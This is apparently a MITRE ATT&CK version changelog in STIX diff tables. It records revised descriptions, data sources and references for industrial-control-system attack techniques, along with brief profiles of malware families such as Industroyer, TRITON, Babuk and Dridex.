| description | Adversaries may send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, or without the logical preconditions to trigger their expected function. Command messages are used in ICS networks to give direct instructions to control systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device's actions. An adversary could potentially instruct a control systems device to perform an action that will cause an Impact. In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. In the Dallas Siren incident, adversaries were able to send command messages to activate tornado alarm systems across the city without an impending tornado or other disaster. Alarms were activated more than a dozen times. These disruptions occurred once in 2017, and later in a nearby county in 2019. | Adversaries may send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, or without the logical preconditions to trigger their expected function. Command messages are used in ICS networks to give direct instructions to control systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device's actions. An adversary could potentially instruct a control systems device to perform an action that will cause an Impact. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. (Citation: Maroochy - MITRE - 200808) In the Dallas Siren incident, adversaries were able to send command messages to activate tornado alarm systems across the city without an impending tornado or other disaster. (Citation:ZDNet Dallas April 2017) (Citation:StateScoop Dallas March 2019) |
| x_mitre_data_sources[0] | Alarm history | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Sequential event recorder | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Netflow/Enclave netflow | Operational Databases: Process History/Live Data |
| x_mitre_data_sources[3] | Packet capture | Operational Databases: Process/Event Alarm |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network protocol analysis |
Current version: 0.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may rely on a targeted organizations’ user inter | t | 1 | Adversaries may rely on a targeted organizations' user inter |
| > | action for the execution of malicious code. User interaction | > | action for the execution of malicious code. User interaction | ||
| > | may consist of installing applications, opening email attac | > | may consist of installing applications, opening email attac | ||
| > | hments, or granting higher permissions to documents. Adver | > | hments, or granting higher permissions to documents. Adver | ||
| > | saries may embed malicious code or visual basic code into fi | > | saries may embed malicious code or visual basic code into fi | ||
| > | les such as Microsoft Word and Excel documents or software i | > | les such as Microsoft Word and Excel documents or software i | ||
| > | nstallers. (Citation: BlackEnergy - Booz Allen Hamilton) Exe | > | nstallers. (Citation: BlackEnergy - Booz Allen Hamilton) Exe | ||
| > | cution of this code requires that the user enable scripting | > | cution of this code requires that the user enable scripting | ||
| > | or write access within the document. Embedded code may not a | > | or write access within the document. Embedded code may not a | ||
| > | lways be noticeable to the user especially in cases of troja | > | lways be noticeable to the user especially in cases of troja | ||
| > | nized software. (Citation: Havex - F-Secure) | > | nized software. (Citation: Havex - F-Secure) A Chinese spear | ||
| > | phishing campaign running from December 9, 2011 through Febr | ||||
| > | uary 29, 2012 delivered malware through spearphishing attach | ||||
| > | ments which required user action to achieve execution.(Citat | ||||
| > | ion: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 20 | ||||
| > | 21) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| description | Adversaries may rely on a targeted organizations’ user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents. Adversaries may embed malicious code or visual basic code into files such as Microsoft Word and Excel documents or software installers. (Citation: BlackEnergy - Booz Allen Hamilton) Execution of this code requires that the user enable scripting or write access within the document. Embedded code may not always be noticeable to the user especially in cases of trojanized software. (Citation: Havex - F-Secure) | Adversaries may rely on a targeted organizations' user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents. Adversaries may embed malicious code or visual basic code into files such as Microsoft Word and Excel documents or software installers. (Citation: BlackEnergy - Booz Allen Hamilton) Execution of this code requires that the user enable scripting or write access within the document. Embedded code may not always be noticeable to the user especially in cases of trojanized software. (Citation: Havex - F-Secure) A Chinese spearphishing campaign running from December 9, 2011 through February 29, 2012 delivered malware through spearphishing attachments which required user action to achieve execution.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021) |
| x_mitre_data_sources[0] | Anti-virus | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | File: File Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021', 'description': 'ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021.', 'url': 'https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf'} | |
| x_mitre_data_sources | Network Traffic: Network Connection Creation | |
| x_mitre_data_sources | Network Traffic: Network Traffic Content | |
| x_mitre_data_sources | Process: Process Creation |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[1] | Process monitoring | User Account: User Account Authentication |
Current version: 0.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2021-10-08 15:25:32.143000+00:00 |
| x_mitre_data_sources[0] | Network protocol analysis | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Packet capture | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network intrusion detection system | Logon Session: Logon Session Creation |
| x_mitre_platforms[0] | Windows | Control Server |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Field Controller/RTU/PLC/IED | |
| x_mitre_platforms | Input/Output Server |
Current version: 0.0
Description: Adversaries may compromise and gain control of a data historian to gain a foothold into the control system environment. Access to a data historian may be used to learn stored database archival and analysis information on the control system. A dual-homed data historian may provide adversaries an interface from the IT environment to the OT environment. Dragos has released an updated analysis on CrashOverride that outlines the attack from the ICS network breach to payload delivery and execution. (Citation: Industroyer - Dragos - 201810) The report summarized that CrashOverride represents a new application of malware, but relied on standard intrusion techniques. In particular, new artifacts include references to a Microsoft Windows Server 2003 host, with a SQL Server. Within the ICS environment, such a database server can act as a data historian. Dragos noted a device with this role should be "expected to have extensive connections" within the ICS environment. Adversary activity leveraged database capabilities to perform reconnaissance, including directory queries and network connectivity checks. Permissions Required: Administrator Contributors: Joe Slowik - Dragos
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
Current version: 0.0
Description: Adversaries will compromise and gain control of an engineering workstation for Initial Access into the control system environment. Access to an engineering workstation may occur through or physical means, such as a Valid Accounts with privileged access or infection by removable media. A dual-homed engineering workstation may allow the adversary access into multiple networks. For example, unsegregated process control, safety system, or information system networks. An Engineering Workstation is designed as a reliable computing platform that configures, maintains, and diagnoses control system equipment and applications. Compromise of an engineering workstation may provide access to, and control of, other control system applications and equipment. In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
| STIX Field | Old value | New Value |
|---|---|---|
| description | Adversaries may compromise and gain control of an engineering workstation for Initial Access into the control system environment. Access to an engineering workstation may occur through or physical means, such as a Valid Accounts with privileged access or infection by removable media. A dual-homed engineering workstation may allow the adversary access into multiple networks. For example, unsegregated process control, safety system, or information system networks. An Engineering Workstation is designed as a reliable computing platform that configures, maintains, and diagnoses control system equipment and applications. Compromise of an engineering workstation may provide access to, and control of, other control system applications and equipment. In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system. | Adversaries will compromise and gain control of an engineering workstation for Initial Access into the control system environment. Access to an engineering workstation may occur through or physical means, such as a Valid Accounts with privileged access or infection by removable media. A dual-homed engineering workstation may allow the adversary access into multiple networks. For example, unsegregated process control, safety system, or information system networks. An Engineering Workstation is designed as a reliable computing platform that configures, maintains, and diagnoses control system equipment and applications. Compromise of an engineering workstation may provide access to, and control of, other control system applications and equipment. In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system. |
Current version: 1.0
Description: [AppleSeed](https://attack.mitre.org/software/S0622) is a backdoor that has been used by [Kimsuky](https://attack.mitre.org/groups/G0094) to target South Korean government, academic, and commercial targets since at least 2021.(Citation: Malwarebytes Kimsuky June 2021)
Current version: 1.0
Description: [Avaddon](https://attack.mitre.org/software/S0640) is ransomware written in C++ that has been offered as Ransomware-as-a-Service (RaaS) since at least June 2020.(Citation: Awake Security Avaddon)(Citation: Arxiv Avaddon Feb 2021)
Current version: 1.0
Description: [BADFLICK](https://attack.mitre.org/software/S0642) is a backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065) in spearphishing campaigns first reported in 2018 that targeted the U.S. engineering and maritime industries.(Citation: FireEye Periscope March 2018)(Citation: Accenture MUDCARP March 2019)
Current version: 1.0
Description: [BLUELIGHT](https://attack.mitre.org/software/S0657) is a remote access Trojan used by [APT37](https://attack.mitre.org/groups/G0067) that was first observed in early 2021.(Citation: Volexity InkySquid BLUELIGHT August 2021)
Current version: 1.0
Description: [Babuk](https://attack.mitre.org/software/S0638) is a Ransomware-as-a-service (RaaS) malware that has been used since at least 2021. The operators of [Babuk](https://attack.mitre.org/software/S0638) employ a "Big Game Hunting" approach to targeting major enterprises and operate a leak site to post stolen data as part of their extortion scheme.(Citation: Sogeti CERT ESEC Babuk March 2021)(Citation: McAfee Babuk February 2021)(Citation: CyberScoop Babuk February 2021)
Current version: 1.0
Description: [Bad Rabbit](https://attack.mitre.org/software/S0606) is a self-propagating ransomware that affected the Ukrainian transportation sector in 2017. [Bad Rabbit](https://attack.mitre.org/software/S0606) has also targeted organizations and consumers in Russia. (Citation: Secure List Bad Rabbit)(Citation: ESET Bad Rabbit)(Citation: Dragos IT ICS Ransomware)
Current version: 1.0
Description: [BoomBox](https://attack.mitre.org/software/S0635) is a downloader responsible for executing next stage components that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)
Current version: 1.0
Description: [BoxCaon](https://attack.mitre.org/software/S0651) is a Windows backdoor that was used by [IndigoZebra](https://attack.mitre.org/groups/G0136) in a 2021 spearphishing campaign against Afghan government officials. [BoxCaon](https://attack.mitre.org/software/S0651)'s name stems from similarities shared with the malware family [xCaon](https://attack.mitre.org/software/S0653).(Citation: Checkpoint IndigoZebra July 2021)
Current version: 1.0
Description: [Chaes](https://attack.mitre.org/software/S0631) is a multistage information stealer written in several programming languages that collects login credentials, credit card numbers, and other financial information. [Chaes](https://attack.mitre.org/software/S0631) was first observed in 2020, and appears to primarily target victims in Brazil as well as other e-commerce customers in Latin America.(Citation: Cybereason Chaes Nov 2020)
Current version: 1.0
Description: [Clop](https://attack.mitre.org/software/S0611) is a ransomware family that was first observed in February 2019 and has been used against retail, transportation and logistics, education, manufacturing, engineering, automotive, energy, financial, aerospace, telecommunications, professional and legal services, healthcare, and high tech industries. [Clop](https://attack.mitre.org/software/S0611) is a variant of the CryptoMix ransomware.(Citation: Mcafee Clop Aug 2019)(Citation: Cybereason Clop Dec 2020)(Citation: Unit42 Clop April 2021)
Current version: 1.0
Description: [Conficker](https://attack.mitre.org/software/S0608) is a computer worm first detected in October 2008 that targeted Microsoft Windows using the MS08-067 Windows vulnerability to spread.(Citation: SANS Conficker) In 2016, a variant of [Conficker](https://attack.mitre.org/software/S0608) made its way on computers and removable disk drives belonging to a nuclear power plant.(Citation: Conficker Nuclear Power Plant)
Current version: 1.0
Description: [CostaBricks](https://attack.mitre.org/software/S0614) is a loader that was used to deploy 32-bit backdoors in the [CostaRicto](https://attack.mitre.org/groups/G0132) campaign.(Citation: BlackBerry CostaRicto November 2020)
Current version: 1.0
Description: [Cuba](https://attack.mitre.org/software/S0625) is a Windows-based ransomware family that has been used against financial institutions, technology, and logistics organizations in North and South America as well as Europe since at least December 2019.(Citation: McAfee Cuba April 2021)
Current version: 1.0
Description: [DEATHRANSOM](https://attack.mitre.org/software/S0616) is ransomware written in C that has been used since at least 2020, and has potential overlap with [FIVEHANDS](https://attack.mitre.org/software/S0618) and [HELLOKITTY](https://attack.mitre.org/software/S0617).(Citation: FireEye FiveHands April 2021)
Current version: 1.0
Description: [EKANS](https://attack.mitre.org/software/S0605) is ransomware variant that first appeared in mid-December 2019. [EKANS](https://attack.mitre.org/software/S0605) is distinct from other ransomware as it was written in Golang and aims to stop services and processes related to Industrial Control Systems.(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS)
Current version: 1.0
Description: [Ecipekac](https://attack.mitre.org/software/S0624) is a multi-layer loader that has been used by [menuPass](https://attack.mitre.org/groups/G0045) since at least 2019 including use as a loader for [P8RAT](https://attack.mitre.org/software/S0626), [SodaMaster](https://attack.mitre.org/software/S0627), and [FYAnti](https://attack.mitre.org/software/S0628).(Citation: Securelist APT10 March 2021)
Current version: 1.0
Description: [EnvyScout](https://attack.mitre.org/software/S0634) is a dropper that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)
Current version: 1.0
Description: [FIVEHANDS](https://attack.mitre.org/software/S0618) is a customized version of [DEATHRANSOM](https://attack.mitre.org/software/S0616) ransomware written in C++. [FIVEHANDS](https://attack.mitre.org/software/S0618) has been used since at least 2021, including in Ransomware-as-a-Service (RaaS) campaigns, sometimes along with [SombRAT](https://attack.mitre.org/software/S0615).(Citation: FireEye FiveHands April 2021)(Citation: NCC Group Fivehands June 2021)
Current version: 1.0
Description: [FYAnti](https://attack.mitre.org/software/S0628) is a loader that has been used by [menuPass](https://attack.mitre.org/groups/G0045) since at least 2020, including to deploy [QuasarRAT](https://attack.mitre.org/software/S0262).(Citation: Securelist APT10 March 2021)
Current version: 1.0
Description: [GrimAgent](https://attack.mitre.org/software/S0632) is a backdoor that has been used before the deployment of [Ryuk](https://attack.mitre.org/software/S0446) ransomware since at least 2020; it is likely used by [FIN6](https://attack.mitre.org/groups/G0037) and [Wizard Spider](https://attack.mitre.org/groups/G0102).(Citation: Group IB GrimAgent July 2021)
Current version: 1.0
Description: [HELLOKITTY](https://attack.mitre.org/software/S0617) is a ransomware written in C++ that shares similar code structure and functionality with [DEATHRANSOM](https://attack.mitre.org/software/S0616) and [FIVEHANDS](https://attack.mitre.org/software/S0618). [HELLOKITTY](https://attack.mitre.org/software/S0617) has been used since at least 2020, targets have included a Polish video game developer and a Brazilian electric power company.(Citation: FireEye FiveHands April 2021)
Current version: 1.0
Description: [Industroyer](https://attack.mitre.org/software/S0604) is a sophisticated malware framework designed to cause an impact to the working processes of Industrial Control Systems (ICS), specifically components used in electrical substations.(Citation: ESET Industroyer) [Industroyer](https://attack.mitre.org/software/S0604) was used in the attacks on the Ukrainian power grid in December 2016.(Citation: Dragos Crashoverride 2017) This is the first publicly known malware specifically designed to target and impact operations in the electric grid.(Citation: Dragos Crashoverride 2018)
Current version: 1.0
Description: [JSS Loader](https://attack.mitre.org/software/S0648) is Remote Access Trojan (RAT) with .NET and C++ variants that has been used by [FIN7](https://attack.mitre.org/groups/G0046) since at least 2020.(Citation: eSentire FIN7 July 2021)(Citation: CrowdStrike Carbon Spider August 2021)
Current version: 1.0
Description: [KillDisk](https://attack.mitre.org/software/S0607) is a disk-wiping tool designed to overwrite files with random data to render the OS unbootable. It was first observed as a component of [BlackEnergy](https://attack.mitre.org/software/S0089) malware during cyber attacks against Ukraine in 2015. [KillDisk](https://attack.mitre.org/software/S0607) has since evolved into stand-alone malware used by a variety of threat actors against additional targets in Europe and Latin America; in 2016 a ransomware component was also incorporated into some [KillDisk](https://attack.mitre.org/software/S0607) variants.(Citation: KillDisk Ransomware)(Citation: ESEST Black Energy Jan 2016)(Citation: Trend Micro KillDisk 1)(Citation: Trend Micro KillDisk 2)
Current version: 1.0
Description: [Kobalos](https://attack.mitre.org/software/S0641) is a multi-platform backdoor that can be used against Linux, FreeBSD, and Solaris. [Kobalos](https://attack.mitre.org/software/S0641) has been deployed against high profile targets, including high-performance computers, academic servers, an endpoint security vendor, and a large internet service provider; it has been found in Europe, North America, and Asia. [Kobalos](https://attack.mitre.org/software/S0641) was first identified in late 2019.(Citation: ESET Kobalos Feb 2021)(Citation: ESET Kobalos Jan 2021)
Current version: 1.0
Description: [LiteDuke](https://attack.mitre.org/software/S0513) is a third stage backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016), primarily in 2014-2015. [LiteDuke](https://attack.mitre.org/software/S0513) used the same dropper as [PolyglotDuke](https://attack.mitre.org/software/S0518), and was found on machines also compromised by [MiniDuke](https://attack.mitre.org/software/S0051).(Citation: ESET Dukes October 2019)
Current version: 1.0
Description: [MarkiRAT](https://attack.mitre.org/software/S0652) is a remote access Trojan (RAT) compiled with Visual Studio that has been used by [Ferocious Kitten](https://attack.mitre.org/groups/G0137) since at least 2015.(Citation: Kaspersky Ferocious Kitten Jun 2021)
Current version: 1.0
Description: [NativeZone](https://attack.mitre.org/software/S0637) is the name given collectively to disposable custom [Cobalt Strike](https://attack.mitre.org/software/S0154) loaders used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)(Citation: SentinelOne NobleBaron June 2021)
Current version: 1.0
Description: [Nebulae](https://attack.mitre.org/software/S0630) Is a backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since at least 2020.(Citation: Bitdefender Naikon April 2021)
Current version: 1.0
Description: [ObliqueRAT](https://attack.mitre.org/software/S0644) is a remote access trojan, similar to [Crimson](https://attack.mitre.org/software/S0115), that has been in use by [Transparent Tribe](https://attack.mitre.org/groups/G0134) since at least 2020.(Citation: Talos Oblique RAT March 2021)(Citation: Talos Transparent Tribe May 2021)
Current version: 1.0
Description: [P8RAT](https://attack.mitre.org/software/S0626) is a fileless malware used by [menuPass](https://attack.mitre.org/groups/G0045) to download and execute payloads since at least 2020.(Citation: Securelist APT10 March 2021)
Current version: 1.0
Description: [PS1](https://attack.mitre.org/software/S0613) is a loader that was used to deploy 64-bit backdoors in the [CostaRicto](https://attack.mitre.org/groups/G0132) campaign.(Citation: BlackBerry CostaRicto November 2020)
Current version: 1.0
Description: [Peppy](https://attack.mitre.org/software/S0643) is a Python-based remote access Trojan, active since at least 2012, with similarities to [Crimson](https://attack.mitre.org/software/S0115).(Citation: Proofpoint Operation Transparent Tribe March 2016)
Current version: 1.0
Description: [ProLock](https://attack.mitre.org/software/S0654) is a ransomware strain that has been used in Big Game Hunting (BGH) operations since at least 2020, often obtaining initial access with [QakBot](https://attack.mitre.org/software/S0650). [ProLock](https://attack.mitre.org/software/S0654) is the successor to PwndLocker ransomware which was found to contain a bug allowing decryption without ransom payment in 2019.(Citation: Group IB Ransomware September 2020)
Current version: 1.0
Description: [QakBot](https://attack.mitre.org/software/S0650) is a modular banking trojan that has been used primarily by financially-motivated actors since at least 2007. [QakBot](https://attack.mitre.org/software/S0650) is continuously maintained and developed and has evolved from an information stealer into a delivery agent for ransomware, most notably [ProLock](https://attack.mitre.org/software/S0654) and [Egregor](https://attack.mitre.org/software/S0554).(Citation: Trend Micro Qakbot December 2020)(Citation: Red Canary Qbot)(Citation: Kaspersky QakBot September 2021)(Citation: ATT QakBot April 2021)
Current version: 1.0
Description: [RainyDay](https://attack.mitre.org/software/S0629) is a backdoor tool that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since at least 2020.(Citation: Bitdefender Naikon April 2021)
Current version: 1.0
Description: [SMOKEDHAM](https://attack.mitre.org/software/S0649) is a Powershell-based .NET backdoor that was first reported in May 2021; it has been used by at least one ransomware-as-a-service affiliate.(Citation: FireEye Shining A Light on DARKSIDE May 2021)(Citation: FireEye SMOKEDHAM June 2021)
Current version: 1.0
Description: [Seth-Locker](https://attack.mitre.org/software/S0639) is a ransomware with some remote control capabilities that has been in use since at least 2021. (Citation: Trend Micro Ransomware February 2021)
Current version: 1.0
Description: [SideTwist](https://attack.mitre.org/software/S0610) is a C-based backdoor that has been used by [OilRig](https://attack.mitre.org/groups/G0049) since at least 2021.(Citation: Check Point APT34 April 2021)
Current version: 1.0
Description: [Siloscape](https://attack.mitre.org/software/S0623) is malware that targets Kubernetes clusters through Windows containers. [Siloscape](https://attack.mitre.org/software/S0623) was first observed in March 2021.(Citation: Unit 42 Siloscape Jun 2021)
Current version: 1.0
Description: [Sliver](https://attack.mitre.org/software/S0633) is an open source, cross-platform, red team command and control framework written in Golang.(Citation: Bishop Fox Sliver Framework August 2019)
Current version: 1.0
Description: [SodaMaster](https://attack.mitre.org/software/S0627) is a fileless malware used by [menuPass](https://attack.mitre.org/groups/G0045) to download and execute payloads since at least 2020.(Citation: Securelist APT10 March 2021)
Current version: 1.0
Description: [SombRAT](https://attack.mitre.org/software/S0615) is a modular backdoor written in C++ that has been in use since at least 2019. [SombRAT](https://attack.mitre.org/software/S0615) has been used to download and execute malicious payloads, including [FIVEHANDS](https://attack.mitre.org/software/S0618) ransomware.(Citation: BlackBerry CostaRicto November 2020)(Citation: FireEye FiveHands April 2021)(Citation: CISA AR21-126A FIVEHANDS May 2021)
Current version: 1.0
Description: [SpicyOmelette](https://attack.mitre.org/software/S0646) is a JavaScript based remote access tool that has been used by [Cobalt Group](https://attack.mitre.org/groups/G0080) since at least 2018.(Citation: Secureworks GOLD KINGSWOOD September 2018)
Current version: 1.0
Description: [Stuxnet](https://attack.mitre.org/software/S0603) was the first publicly reported piece of malware to specifically target industrial control systems devices. [Stuxnet](https://attack.mitre.org/software/S0603) is a large and complex piece of malware that utilized multiple different behaviors including multiple zero-day vulnerabilities, a sophisticated Windows rootkit, and network infection routines.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: CISA ICS Advisory ICSA-10-272-01)(Citation: ESET Stuxnet Under the Microscope)(Citation: Langer Stuxnet) [Stuxnet](https://attack.mitre.org/software/S0603) was discovered in 2010, with some components being used as early as November 2008.(Citation: Symantec W.32 Stuxnet Dossier)
Current version: 1.0
Description: [TRITON](https://attack.mitre.org/software/S0609) is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. [TRITON](https://attack.mitre.org/software/S0609) was deployed against at least one target in the Middle East. (Citation: FireEye TRITON 2017)(Citation: FireEye TRITON 2018)(Citation: Dragos TRISIS)(Citation: CISA HatMan)(Citation: FireEye TEMP.Veles 2018)
Current version: 1.0
Description: [Turian](https://attack.mitre.org/software/S0647) is a backdoor that has been used by [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, [Turian](https://attack.mitre.org/software/S0647) is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.(Citation: ESET BackdoorDiplomacy Jun 2021)
Current version: 1.0
Description: [VaporRage](https://attack.mitre.org/software/S0636) is a shellcode downloader that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)
Current version: 1.0
Description: [WastedLocker](https://attack.mitre.org/software/S0612) is a ransomware family attributed to [Indrik Spider](https://attack.mitre.org/groups/G0119) that has been used since at least May 2020. [WastedLocker](https://attack.mitre.org/software/S0612) has been used against a broad variety of sectors, including manufacturing, information technology, and media.(Citation: Symantec WastedLocker June 2020)(Citation: NCC Group WastedLocker June 2020)(Citation: Sentinel Labs WastedLocker July 2020)
Current version: 1.0
Description: [Wevtutil](https://attack.mitre.org/software/S0645) is a Windows command-line utility that enables administrators to retrieve information about event logs and publishers.(Citation: Wevtutil Microsoft Documentation)
Current version: 1.0
Description: [XCSSET](https://attack.mitre.org/software/S0658) is a macOS modular backdoor that targets Xcode application developers. [XCSSET](https://attack.mitre.org/software/S0658) was first observed in August 2020 and has been used to install a backdoor component, modify browser applications, conduct collection, and provide ransomware-like encryption capabilities.(Citation: trendmicro xcsset xcode project 2020)
Current version: 1.0
Description: [xCaon](https://attack.mitre.org/software/S0653) is an HTTP variant of the [BoxCaon](https://attack.mitre.org/software/S0651) malware family that has used by [IndigoZebra](https://attack.mitre.org/groups/G0136) since at least 2014. [xCaon](https://attack.mitre.org/software/S0653) has been used to target political entities in Central Asia, including Kyrgyzstan and Uzbekistan.(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017)
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Bandook](https://attack.mitre.org/software/S0234) is a comm | t | 1 | [Bandook](https://attack.mitre.org/software/S0234) is a comm |
| > | ercially available RAT, written in Delphi, which has been av | > | ercially available RAT, written in Delphi and C++, that has | ||
| > | ailable since roughly 2007 (Citation: EFF Manul Aug 2016) ( | > | been available since at least 2007. It has been used against | ||
| > | Citation: Lookout Dark Caracal Jan 2018). | > | government, financial, energy, healthcare, education, IT, a | ||
| > | nd legal organizations in the US, South America, Europe, and | ||||
| > | Southeast Asia. [Bandook](https://attack.mitre.org/software | ||||
| > | /S0234) has been used by [Dark Caracal](https://attack.mitre | ||||
| > | .org/groups/G0070), as well as in a separate campaign referr | ||||
| > | ed to as "Operation Manul".(Citation: EFF Manul Aug 2016)(Ci | ||||
| > | tation: Lookout Dark Caracal Jan 2018)(Citation: CheckPoint | ||||
| > | Bandook Nov 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 15:08:51.834000+00:00 | 2021-10-11 19:42:14.066000+00:00 |
| description | [Bandook](https://attack.mitre.org/software/S0234) is a commercially available RAT, written in Delphi, which has been available since roughly 2007 (Citation: EFF Manul Aug 2016) (Citation: Lookout Dark Caracal Jan 2018). | [Bandook](https://attack.mitre.org/software/S0234) is a commercially available RAT, written in Delphi and C++, that has been available since at least 2007. It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. [Bandook](https://attack.mitre.org/software/S0234) has been used by [Dark Caracal](https://attack.mitre.org/groups/G0070), as well as in a separate campaign referred to as "Operation Manul".(Citation: EFF Manul Aug 2016)(Citation: Lookout Dark Caracal Jan 2018)(Citation: CheckPoint Bandook Nov 2020) |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CheckPoint Bandook Nov 2020', 'description': 'Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021.', 'url': 'https://research.checkpoint.com/2020/bandook-signed-delivered/'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Dok](https://attack.mitre.org/software/S0281) steals bankin | t | 1 | [Dok](https://attack.mitre.org/software/S0281) is a Trojan a |
| > | g information through man-in-the-middle (Citation: objsee m | > | pplication disguised as a .zip file that is able to collect | ||
| > | ac malware 2017). | > | user credentials and install a malicious proxy server to red | ||
| > | irect a user's network traffic (i.e. [Adversary-in-the-Middl | ||||
| > | e](https://attack.mitre.org/techniques/T1557)).(Citation: ob | ||||
| > | jsee mac malware 2017)(Citation: hexed osx.dok analysis 2019 | ||||
| > | )(Citation: CheckPoint Dok) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-19 19:08:28.695000+00:00 | 2021-10-12 11:26:16.316000+00:00 |
| description | [Dok](https://attack.mitre.org/software/S0281) steals banking information through man-in-the-middle (Citation: objsee mac malware 2017). | [Dok](https://attack.mitre.org/software/S0281) is a Trojan application disguised as a .zip file that is able to collect user credentials and install a malicious proxy server to redirect a user's network traffic (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)).(Citation: objsee mac malware 2017)(Citation: hexed osx.dok analysis 2019)(Citation: CheckPoint Dok) |
| external_references[1]['description'] | (Citation: objsee mac malware 2017). | (Citation: objsee mac malware 2017) |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'hexed osx.dok analysis 2019', 'description': 'fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021.', 'url': 'http://www.hexed.in/2019/07/osxdok-analysis.html'} | |
| external_references | {'source_name': 'CheckPoint Dok', 'description': 'Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021.', 'url': 'https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Dridex](https://attack.mitre.org/software/S0384) is a banki | t | 1 | [Dridex](https://attack.mitre.org/software/S0384) is a proli |
| > | ng Trojan that has been used for financial gain. Dridex was | > | fic banking Trojan that first appeared in 2014. By December | ||
| > | created from the source code of the Bugat banking trojan (al | > | 2019, the US Treasury estimated [Dridex](https://attack.mitr | ||
| > | so known as Cridex).(Citation: Dell Dridex Oct 2015)(Citatio | > | e.org/software/S0384) had infected computers in hundreds of | ||
| > | n: Kaspersky Dridex May 2017) | > | banks and financial institutions in over 40 countries, leadi | ||
| > | ng to more than $100 million in theft. [Dridex](https://atta | ||||
| > | ck.mitre.org/software/S0384) was created from the source cod | ||||
| > | e of the Bugat banking Trojan (also known as Cridex).(Citati | ||||
| > | on: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 201 | ||||
